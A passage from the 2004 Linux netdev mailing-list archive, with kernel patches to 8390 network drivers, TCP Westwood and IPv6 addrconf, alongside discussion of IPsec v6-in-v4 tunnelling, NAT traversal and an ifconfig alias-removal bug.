+184,9 @@ if (ei_debug && version_printed++ == 0) printk(version); - printk("%s: WD80x3 at %#3x,", dev->name, ioaddr); + printk("wd: WD80x3 at %#3x,", ioaddr); for (i = 0; i < 6; i++) - printk(" %2.2X", dev->dev_addr[i] = inb(ioaddr + 8 + i)); + dev->dev_addr[i] = inb(ioaddr + 8 + i); /* The following PureData probe code was contributed by Mike Jagdis . Puredata does software @@ -300,7 +302,7 @@ /* Snarf the interrupt now. There's no point in waiting since we cannot share and the board will usually be enabled. */ - i = request_irq(dev->irq, ei_interrupt, 0, dev->name, dev); + i = request_irq(dev->irq, ei_interrupt, 0, "wd", dev); if (i) { printk (" unable to get IRQ %d.\n", dev->irq); return i; @@ -512,7 +514,7 @@ dev->mem_start = mem[this_dev]; dev->mem_end = mem_end[this_dev]; if (do_wd_probe(dev) == 0) { - if (register_netdev(dev) == 0) { + if (register_ei_netdev(dev) == 0) { dev_wd[found++] = dev; continue; } Index: kernel-2.5/drivers/net/zorro8390.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/drivers/net/zorro8390.c,v retrieving revision 1.1.1.4 diff -u -r1.1.1.4 zorro8390.c --- kernel-2.5/drivers/net/zorro8390.c 11 Mar 2004 02:55:33 -0000 1.1.1.4 +++ kernel-2.5/drivers/net/zorro8390.c 13 Mar 2004 00:56:56 -0000 @@ -115,7 +115,7 @@ if (!dev) return -ENOMEM; SET_MODULE_OWNER(dev); - if (!request_mem_region(ioaddr, NE_IO_EXTENT*2, dev->name)) { + if (!request_mem_region(ioaddr, NE_IO_EXTENT*2, "zorro8390")) { free_netdev(dev); return -EBUSY; } @@ -198,7 +198,7 @@ dev->irq = IRQ_AMIGA_PORTS; /* Install the Interrupt handler */ - i = request_irq(IRQ_AMIGA_PORTS, ei_interrupt, SA_SHIRQ, dev->name, dev); + i = request_irq(IRQ_AMIGA_PORTS, ei_interrupt, SA_SHIRQ, "zorro8390", dev); if (i) return i; for(i = 0; i < ETHER_ADDR_LEN; i++) { @@ -208,11 +208,6 @@ dev->dev_addr[i] = SA_prom[i]; } - printk("%s: %s at 0x%08lx, Ethernet Address " - "%02x:%02x:%02x:%02x:%02x:%02x\n", dev->name, name, board, - dev->dev_addr[0], dev->dev_addr[1], dev->dev_addr[2], - dev->dev_addr[3], dev->dev_addr[4], dev->dev_addr[5]); - ei_status.name = name; ei_status.tx_start_page = start_page; ei_status.stop_page = stop_page; @@ -228,7 +223,7 @@ dev->open = &zorro8390_open; dev->stop = &zorro8390_close; NS8390_init(dev, 0); - err = register_netdev(dev); + err = register_ei_netdev(dev); if (err) free_irq(IRQ_AMIGA_PORTS, dev); return err; --DocE+STaALJfprDB-- From mcgrof@studorgs.rutgers.edu Fri Mar 12 20:16:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 20:16:37 -0800 (PST) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2D4GZKO024109 for ; Fri, 12 Mar 2004 20:16:35 -0800 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 02666F9D33; Fri, 12 Mar 2004 23:16:34 -0500 (EST) Date: Fri, 12 Mar 2004 23:16:34 -0500 From: "Luis R. Rodriguez" To: Herbert Xu Cc: Jeff Garzik , netdev@oss.sgi.com Subject: Re: [8390] Do not use dev->name before register_netdev Message-ID: <20040313041634.GV32439@ruslug.rutgers.edu> References: <20040313025859.GA8186@gondor.apana.org.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040313025859.GA8186@gondor.apana.org.au> User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 3972 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev Content-Length: 350 Lines: 13 On Sat, Mar 13, 2004 at 01:58:59PM +1100, Herbert Xu wrote: > Hi: > > This patch replaces/removes all uses of dev->name in 8390 drivers. > As it is, these drivers will do printks or allocate resources with > the name eth%d. Why is using dev->name a bad thing? Luis -- GnuPG Key fingerprint = 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E From herbert@gondor.apana.org.au Fri Mar 12 21:43:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 21:43:33 -0800 (PST) Received: from arnor.apana.org.au (c211-30-229-77.rivrw4.nsw.optusnet.com.au [211.30.229.77]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2D5hNKO029034 for ; Fri, 12 Mar 2004 21:43:24 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1B21vJ-00074p-00; Sat, 13 Mar 2004 16:43:01 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1B21v5-0001kc-00; Sat, 13 Mar 2004 16:42:47 +1100 Date: Sat, 13 Mar 2004 16:42:47 +1100 To: "Luis R. Rodriguez" Cc: Jeff Garzik , netdev@oss.sgi.com Subject: Re: [8390] Do not use dev->name before register_netdev Message-ID: <20040313054247.GA4492@gondor.apana.org.au> References: <20040313025859.GA8186@gondor.apana.org.au> <20040313041634.GV32439@ruslug.rutgers.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040313041634.GV32439@ruslug.rutgers.edu> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 3973 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Content-Length: 641 Lines: 16 On Fri, Mar 12, 2004 at 11:16:34PM -0500, Luis R. Rodriguez wrote: > On Sat, Mar 13, 2004 at 01:58:59PM +1100, Herbert Xu wrote: > > > > This patch replaces/removes all uses of dev->name in 8390 drivers. > > As it is, these drivers will do printks or allocate resources with > > the name eth%d. > > Why is using dev->name a bad thing? It's a bad thing if it's set to eth%d and a number hasn't been allocated yet. -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt From pasi.sarolahti@iki.fi Fri Mar 12 22:41:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Mar 2004 22:41:28 -0800 (PST) Received: from fep01-app.kolumbus.fi (fep01-0.kolumbus.fi [193.229.0.41]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2D6f6KO030282 for ; Fri, 12 Mar 2004 22:41:07 -0800 Received: from [80.186.168.16] by fep01-app.kolumbus.fi with ESMTP id <20040313064105.CQZG7489.fep01-app.kolumbus.fi@[80.186.168.16]>; Sat, 13 Mar 2004 08:41:05 +0200 Subject: Re: [RFC] Vegas and tcp parameters per route From: Pasi Sarolahti To: Stephen Hemminger Cc: "David S. Miller" , netdev@oss.sgi.com, linux-net@vger.kernel.org In-Reply-To: <20040312151729.25d9c696@dell_ss3.pdx.osdl.net> References: <20040312151729.25d9c696@dell_ss3.pdx.osdl.net> Content-Type: text/plain Message-Id: <1079160064.11606.15.camel@viivi> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) Date: Sat, 13 Mar 2004 08:41:05 +0200 Content-Transfer-Encoding: 7bit X-archive-position: 3974 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pasi.sarolahti@iki.fi Precedence: bulk X-list: netdev Content-Length: 871 Lines: 23 Hi Stephen, On Sat, 2004-03-13 at 01:17, Stephen Hemminger wrote: > This is the second more complete version of TCP Vegas that allows setting > the options based on route. Reused the RTAX_FEATURE metric which got > defined but never used, to provide the ability to select vegas, westwood, > and/or frto per route. > > There is an modified version of iproute2 available at > http://developer.osdl.org/shemminger/tcp/iproute2-exp.tar.bz2 > With this it is possible to setup options per route with ip. > ip route add to 10.0.0.1 features vegas/frto I would still like to keep the good old sysctl interface (well, at least for tcp_frto), because I'd belive it is more familiar and easier to use for many and not dependent of external tools. Would it be too complicated, if sysctl would give the global default, from which one can deviate using RTAX_FEATURE? - Pasi From pekkas@netcore.fi Sat Mar 13 01:43:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Mar 2004 01:43:14 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2D9hAKO006336 for ; Sat, 13 Mar 2004 01:43:11 -0800 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id i2D9h4F22589 for ; Sat, 13 Mar 2004 11:43:04 +0200 Date: Sat, 13 Mar 2004 11:43:04 +0200 (EET) From: Pekka Savola To: netdev@oss.sgi.com Subject: v6-in-v4 IPsec and NAT traversal Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3975 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 962 Lines: 27 Hi, I'm interested whether Linux IPsec implementations support: 1) IPv6 payload inside IPv4 IPsec tunnel/transport? That is, when the intermediate network doesn't support IPv6, you could do IPv6, secured, without first encapsulating in IPv6-over-IPv4 tunnel and then running IPv6 IPsec. 2) NAT-traversal? (There are at least some patches in OpenSWAN, etc. for this). This could be very handy combined with the above. [[ 3) Some feasible key management method, such as certificates. I think this exists, and doesn't require support in the kernel. ]] I'm considering how viable this kind of NAT -traversal supporting v6-in-v4 IPsec would be as an IPv6 tunneling/transition mechanism. What's the status (implementations, planned or future) of these features? -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From herbert@gondor.apana.org.au Sat Mar 13 02:06:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Mar 2004 02:06:32 -0800 (PST) Received: from arnor.apana.org.au (c211-30-229-77.rivrw4.nsw.optusnet.com.au [211.30.229.77]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2DA6GKO006997 for ; Sat, 13 Mar 2004 02:06:17 -0800 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1B261t-0000Jg-00; Sat, 13 Mar 2004 21:06:05 +1100 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1B261p-0006gI-00; Sat, 13 Mar 2004 21:06:01 +1100 From: Herbert Xu To: pekkas@netcore.fi (Pekka Savola), netdev@oss.sgi.com Subject: Re: v6-in-v4 IPsec and NAT traversal Organization: Core In-Reply-To: X-Newsgroups: apana.lists.os.linux.netdev User-Agent: tin/1.7.4-20031226 ("Taransay") (UNIX) (Linux/2.4.25-1-686-smp (i686)) Message-Id: Date: Sat, 13 Mar 2004 21:06:01 +1100 X-archive-position: 3976 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Content-Length: 935 Lines: 25 Pekka Savola wrote: > > I'm interested whether Linux IPsec implementations support: > > 1) IPv6 payload inside IPv4 IPsec tunnel/transport? It's not supported directly by the IPsec stack. However, you can setup an SIT tunnel over a transport IPv4 IPsec SA. > 2) NAT-traversal? (There are at least some patches in OpenSWAN, etc. > for this). This could be very handy combined with the above. Yes. In particular Non-ESP UDP encapsulation is supported. I believe that OpenSWAN has the code to work with the Linux stack. > [[ 3) Some feasible key management method, such as certificates. I > think this exists, and doesn't require support in the kernel. ]] OpenSWAN supports that. -- Debian GNU/Linux 3.0 is out! ( http://www.debian.org/ ) Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt From ja@ssi.bg Sat Mar 13 02:06:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Mar 2004 02:06:47 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2DA6gKO007034 for ; Sat, 13 Mar 2004 02:06:44 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i2DA75Yi002047; Sat, 13 Mar 2004 12:07:05 +0200 Date: Sat, 13 Mar 2004 12:07:05 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: Aron Griffis cc: netdev@oss.sgi.com Subject: Re: ifconfig bug removes aliases In-Reply-To: <20040310212056.GA5661@time.flatmonk.org> Message-ID: References: <20040310212056.GA5661@time.flatmonk.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3977 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Content-Length: 515 Lines: 23 Hello, On Wed, 10 Mar 2004, Aron Griffis wrote: > Hello, here is the sequence: > > ifconfig eth0:1 10.10.10.1 netmask 255.255.0.0 > ifconfig eth0:2 10.10.10.2 netmask 255.255.0.0 > ifconfig eth0:1 down > > At this point eth0:2 has disappeared also. It appears that the aliases > must be on the same subnet for this to occur, and the creation order is > also important. From inet_del_ifa: /* 1. Deleting primary ifaddr forces deletion all secondaries */ Regards -- Julian Anastasov From pekkas@netcore.fi Sat Mar 13 04:56:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Mar 2004 04:56:06 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2DCu2KO014994 for ; Sat, 13 Mar 2004 04:56:03 -0800 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id i2DCriN25062; Sat, 13 Mar 2004 14:53:44 +0200 Date: Sat, 13 Mar 2004 14:53:44 +0200 (EET) From: Pekka Savola To: Herbert Xu cc: netdev@oss.sgi.com Subject: Re: v6-in-v4 IPsec and NAT traversal In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3978 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev Content-Length: 742 Lines: 20 On Sat, 13 Mar 2004, Herbert Xu wrote: > Pekka Savola wrote: > > I'm interested whether Linux IPsec implementations support: > > > > 1) IPv6 payload inside IPv4 IPsec tunnel/transport? > > It's not supported directly by the IPsec stack. However, you can > setup an SIT tunnel over a transport IPv4 IPsec SA. Is this planned? Are there issues with "native" support why it would not be feasible? Avoiding double encapsulation would be IMHO really useful, and several other implementations are already reported to allow this. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From agriffis@kaf.zk3.dec.com Sat Mar 13 07:35:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Mar 2004 07:35:22 -0800 (PST) Received: from ztxmail03.ztx.compaq.com (ztxmail03.ztx.compaq.com [161.114.1.207]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2DFZJKO017405 for ; Sat, 13 Mar 2004 07:35:20 -0800 Received: from taynzmail03.nz-tay.cpqcorp.net (taynzmail03.nz-tay.cpqcorp.net [16.47.4.103]) by ztxmail03.ztx.compaq.com (Postfix) with ESMTP id C278BC386; Sat, 13 Mar 2004 09:35:13 -0600 (CST) Received: from oflume.zk3.dec.com (bryflume.zk3.dec.com [16.141.40.17]) by taynzmail03.nz-tay.cpqcorp.net (Postfix) with ESMTP id 4A4C54B91; Sat, 13 Mar 2004 10:35:09 -0500 (EST) Received: from yquarry.zk3.dec.com by oflume.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id KAA00416; Sat, 13 Mar 2004 10:35:09 -0500 (EST) Received: from kaf.zk3.dec.com by yquarry.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id KAA22865; Sat, 13 Mar 2004 10:35:08 -0500 (EST) Received: by kaf.zk3.dec.com (Postfix, from userid 10208) id 14E50A6E89; Sat, 13 Mar 2004 10:35:08 -0500 (EST) X-IMAP-Sender: agriffis Date: Sat, 13 Mar 2004 10:28:30 -0500 X-OfflineIMAP-1499153704-6b6166-494e424f582e4f7574626f78: 1079192107-0573738236849 From: Aron Griffis To: Julian Anastasov Cc: netdev@oss.sgi.com Subject: Re: ifconfig bug removes aliases Message-ID: <20040313152830.GC7080@time.flatmonk.org> References: <20040310212056.GA5661@time.flatmonk.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.6i X-archive-position: 3979 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: aron@hp.com Precedence: bulk X-list: netdev Content-Length: 725 Lines: 22 Julian Anastasov wrote: [Sat Mar 13 2004, 05:07:05AM EST] > On Wed, 10 Mar 2004, Aron Griffis wrote: > > > Hello, here is the sequence: > > > > ifconfig eth0:1 10.10.10.1 netmask 255.255.0.0 > > ifconfig eth0:2 10.10.10.2 netmask 255.255.0.0 > > ifconfig eth0:1 down > > > > At this point eth0:2 has disappeared also. It appears that the aliases > > must be on the same subnet for this to occur, and the creation order is > > also important. > > From inet_del_ifa: > > /* 1. Deleting primary ifaddr forces deletion all secondaries */ Thanks, I am aware of that behavior, but that is not the bug I am describing. In this case it is the deletion of one alias that causes another to be removed as well. Aron From buffer@antifork.org Sat Mar 13 11:02:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Mar 2004 11:02:28 -0800 (PST) Received: from smtp0.libero.it (smtp0.libero.it [193.70.192.33]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2DJ2OKO028407 for ; Sat, 13 Mar 2004 11:02:25 -0800 Received: from [151.28.132.130] (151.28.132.130) by smtp0.libero.it (7.0.027-DD01) id 404F12EF000DB985 for netdev@oss.sgi.com; Sat, 13 Mar 2004 17:26:37 +0100 Received: (qmail 14600 invoked from network); 13 Mar 2004 16:27:13 -0000 Received: from localhost (HELO mintaka.darkstar.net) (1000@127.0.0.1) by localhost with SMTP; 13 Mar 2004 16:27:13 -0000 Date: Sat, 13 Mar 2004 17:27:12 +0100 From: "Angelo Dell'Aera" To: Stephen Hemminger Cc: davem@redhat.com, netdev@oss.sgi.com Subject: Re: [PATCH] TCP westwood bw_sample set never used Message-Id: <20040313172712.0d10080a.buffer@antifork.org> In-Reply-To: <20040312091505.593443d1@dell_ss3.pdx.osdl.net> References: <20040312091505.593443d1@dell_ss3.pdx.osdl.net> Organization: Antifork Research, Inc. X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; i686-pc-linux-gnu) X-PGP-Program: GNU Privacy Guard (http://www.gnupg.org) X-PGP-PublicKey: http://buffer.antifork.org/privacy/buffer-gpg.asc X-PGP-Fingerprint: 48CC B0D8 C394 CD30 355F E36D A4E3 48CF 19C1 5CA2 X-Operating-System: GNU-Linux Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3980 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: buffer@antifork.org Precedence: bulk X-list: netdev Content-Length: 2759 Lines: 74 On Fri, 12 Mar 2004 09:15:05 -0800 Stephen Hemminger wrote: >Found this while looking in detail at TCP. The westwood.bw_sample element >it tcp_opt is set but not used by the existing code in 2.6.4 Stephen, I used that field in the first version of the Westwood code just for having the possibility of doing a bandwidth estimation tracking analysis. After dropping CONFIG_TCP_WESTWOOD_STATS it's simply useless and so I agree with your patch. But it's necessary to just point out an important thing. When you call westwood_filter() you're actually evaluating the bandwidth estimate. This is done by two constant coefficients low-pass filters one after the other. This part of the code was taken clearly separated from the rest of the code since you could even find a better way to do it (f.e. TCP Westwood which came before Westwood+ did it in improper manner). Maybe this was the reason bw_sample was left in the struct westwood. But being it absolutely useless at this time it could be removed even from there. I simply dropped another line wrt to your patch. Regards. -- Angelo Dell'Aera 'buffer' Antifork Research, Inc. http://buffer.antifork.org diff -Naur linux-2.6.4-old/include/linux/tcp.h linux-2.6.4/include/linux/tcp.h --- linux-2.6.4-old/include/linux/tcp.h 2004-02-18 16:34:15.000000000 +0100 +++ linux-2.6.4/include/linux/tcp.h 2004-03-13 16:56:39.000000000 +0100 @@ -377,7 +377,6 @@ /* TCP Westwood structure */ struct { - __u32 bw_sample; /* bandwidth sample */ __u32 bw_ns_est; /* first bandwidth estimation..not too smoothed 8) */ __u32 bw_est; /* bandwidth estimate */ __u32 rtt_win_sx; /* here starts a new evaluation... */ diff -Naur linux-2.6.4-old/net/ipv4/tcp_input.c linux-2.6.4/net/ipv4/tcp_input.c --- linux-2.6.4-old/net/ipv4/tcp_input.c 2004-03-10 17:31:40.000000000 +0100 +++ linux-2.6.4/net/ipv4/tcp_input.c 2004-03-13 16:50:35.000000000 +0100 @@ -2065,7 +2065,6 @@ { struct tcp_opt *tp = tcp_sk(sk); - tp->westwood.bw_sample = 0; tp->westwood.bw_ns_est = 0; tp->westwood.bw_est = 0; tp->westwood.accounted = 0; @@ -2088,14 +2087,13 @@ static void westwood_filter(struct sock *sk, __u32 delta) { struct tcp_opt *tp = tcp_sk(sk); - __u32 sample = tp->westwood.bk / delta; tp->westwood.bw_ns_est = - westwood_do_filter(tp->westwood.bw_ns_est, sample); + westwood_do_filter(tp->westwood.bw_ns_est, + tp->westwood.bk / delta); tp->westwood.bw_est = westwood_do_filter(tp->westwood.bw_est, tp->westwood.bw_ns_est); - tp->westwood.bw_sample = sample; } /* @westwood_update_rttmin From mcr@sandelman.ottawa.on.ca Sat Mar 13 11:34:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Mar 2004 11:34:14 -0800 (PST) Received: from noxmail.sandelman.ottawa.on.ca (oetest.freeswan.org [205.150.200.166]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2DJY5KO029321 for ; Sat, 13 Mar 2004 11:34:05 -0800 Received: from lox.sandelman.ottawa.on.ca (IDENT:root@lox.sandelman.ottawa.on.ca [205.150.200.178]) by noxmail.sandelman.ottawa.on.ca (8.11.6p3/8.11.6) with ESMTP id i2DHPFn21730 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 bits) verified OK); Sat, 13 Mar 2004 12:25:17 -0500 (EST) Received: from sandelman.ottawa.on.ca (wlan237.sandelman.ca [205.150.200.237]) by lox.sandelman.ottawa.on.ca (8.11.6p3/8.11.6) with ESMTP id i2DHU5F27435 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 bits) verified OK); Sat, 13 Mar 2004 12:30:11 -0500 (EST) Received: from sandelman.ottawa.on.ca (marajade [127.0.0.1]) by sandelman.ottawa.on.ca (8.12.3/8.12.3/Debian-6.6) with ESMTP id i2DHOwwd004835 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 13 Mar 2004 12:24:58 -0500 Received: from marajade.sandelman.ottawa.on.ca (mcr@localhost) by sandelman.ottawa.on.ca (8.12.3/8.12.3/Debian-6.6) with ESMTP id i2DHOuRh004832; Sat, 13 Mar 2004 12:24:57 -0500 To: Pekka Savola cc: netdev@oss.sgi.com, dev@lists.openswan.org From: "Michael Richardson" Subject: Re: v6-in-v4 IPsec and NAT traversal In-Reply-To: Message from Pekka Savola of "Sat, 13 Mar 2004 11:43:04 +0200." References: X-Mailer: MH-E 7.4.2; nmh 1.0.4+dev; XEmacs 21.4 (patch 6) Date: Sat, 13 Mar 2004 12:24:56 -0500 Message-ID: <4831.1079198696@marajade.sandelman.ottawa.on.ca> X-archive-position: 3981 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcr@xelerance.com Precedence: bulk X-list: netdev Content-Length: 2573 Lines: 65 -----BEGIN PGP SIGNED MESSAGE----- >>>>> "Pekka" == Pekka Savola writes: Pekka> I'm interested whether Linux IPsec implementations support: Pekka> 1) IPv6 payload inside IPv4 IPsec tunnel/transport? Pekka> That is, when the intermediate network doesn't support IPv6, Pekka> you could do IPv6, secured, without first encapsulating in Pekka> IPv6-over-IPv4 tunnel and then running IPv6 IPsec. I don't know if 26sec can do it at the bottom layer - I think not. I can tell you that neither racoon nor pluto can negotiate a mixed mode SA. Both are pretty close - but at present no real testing is done on that. Pekka> 2) NAT-traversal? (There are at least some patches in Pekka> OpenSWAN, etc. for this). This could be very handy combined Pekka> with the above. Both 26sec and KLIPS have support for NAT-Traversal for IPv4, but both requires support from the UDP - this is in 2.6, 2.4 backport, and showing up in many distros. The patch is 140 lines. Pluto will detect the kernel support for NAT-Traversal and use it if it exists. I don't know about racoon. Pekka> [[ 3) Some feasible key management method, such as Pekka> certificates. I think this exists, and doesn't require Pekka> support in the kernel. ]] Racoon has poor pkix-self-signed certificate support. Pluto has pkix, raw RSA, RSA-from-DNS. The latest X.509 patches from Andreas (not yet integrated) include OCSP (RFC2560). Pekka> I'm considering how viable this kind of NAT -traversal Pekka> supporting v6-in-v4 IPsec would be as an IPv6 Pekka> tunneling/transition mechanism. Well, I was rather hoping that NAT-traversal for IPsec would have been done as: IPv4/ESP/IPv6/Teredo/UDP/IPv4. Pekka> What's the status (implementations, planned or future) of Pekka> these features? http://www.openswan.org/development/roadmap.php - -- ] ON HUMILITY: to err is human. To moo, bovine. | firewalls [ ] Michael Richardson, Xelerance Corporation, Ottawa, ON |net architect[ ] mcr@xelerance.com http://www.sandelman.ottawa.on.ca/mcr/ |device driver[ ] panic("Just another Debian GNU/Linux using, kernel hacking, security guy"); [ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) Comment: Finger me for keys iQCVAwUBQFNDp4qHRg3pndX9AQHmGwP/TsrZQ4etRT4SBWVJtV+FZJ6iqeMytexi aqfCcAINlQV5/8wWo45/cwdOuJ/t6dHxffZGYFnbXeZzZyzxGqgraB/UscAX9zcN rfDKSgs3ShwR8T5VKnKYeMjqELifGDJKOQFtaOvgcXG0yzQdVLG/XzBhgDUSmmnA 32OtcTr2tes= =J4Bs -----END PGP SIGNATURE----- From bunk@fs.tum.de Sat Mar 13 11:40:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Mar 2004 11:40:12 -0800 (PST) Received: from hermes.fachschaften.tu-muenchen.de (hermes.fachschaften.tu-muenchen.de [129.187.202.12]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2DJe7KO029738 for ; Sat, 13 Mar 2004 11:40:09 -0800 Received: (qmail 7855 invoked from network); 13 Mar 2004 19:39:31 -0000 Received: from mimas.fachschaften.tu-muenchen.de (129.187.202.58) by hermes.fachschaften.tu-muenchen.de with QMQP; 13 Mar 2004 19:39:31 -0000 Date: Sat, 13 Mar 2004 20:39:59 +0100 From: Adrian Bunk To: roque@di.fc.ul.pt, kuznet@ms2.inr.ac.ru Cc: davem@redhat.com, netdev@oss.sgi.com Subject: [2.6 patch] IPV6 addrconf.c: remove unused functions and variables Message-ID: <20040313193959.GB14833@fs.tum.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2i X-archive-position: 3982 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bunk@fs.tum.de Precedence: bulk X-list: netdev Content-Length: 3872 Lines: 127 The patch [IPV6]: Do not report {multi,any}cast in inet6_dump_ifaddr(). in Linus' tree removed the only uses of two functions and two variables and therefore caused the following compile warnings: <-- snip --> ... CC net/ipv6/addrconf.o net/ipv6/addrconf.c: In function `inet6_dump_ifaddr': net/ipv6/addrconf.c:2638: warning: unused variable `ifmca' net/ipv6/addrconf.c:2639: warning: unused variable `ifaca' net/ipv6/addrconf.c: At top level: net/ipv6/addrconf.c:2558: warning: `inet6_fill_ifmcaddr' defined but not used net/ipv6/addrconf.c:2595: warning: `inet6_fill_ifacaddr' defined but not used ... <-- snip --> The patch below removes these functions and variables. diffstat output: net/ipv6/addrconf.c | 76 -------------------------------------------- 1 files changed, 76 deletions(-) cu Adrian --- linux-2.6.4-mm1-full/net/ipv6/addrconf.c.old 2004-03-13 20:27:45.000000000 +0100 +++ linux-2.6.4-mm1-full/net/ipv6/addrconf.c 2004-03-13 20:35:20.000000000 +0100 @@ -2553,80 +2553,6 @@ return -1; } -static int inet6_fill_ifmcaddr(struct sk_buff *skb, struct ifmcaddr6 *ifmca, - u32 pid, u32 seq, int event) -{ - struct ifaddrmsg *ifm; - struct nlmsghdr *nlh; - struct ifa_cacheinfo ci; - unsigned char *b = skb->tail; - - nlh = NLMSG_PUT(skb, pid, seq, event, sizeof(*ifm)); - if (pid) nlh->nlmsg_flags |= NLM_F_MULTI; - ifm = 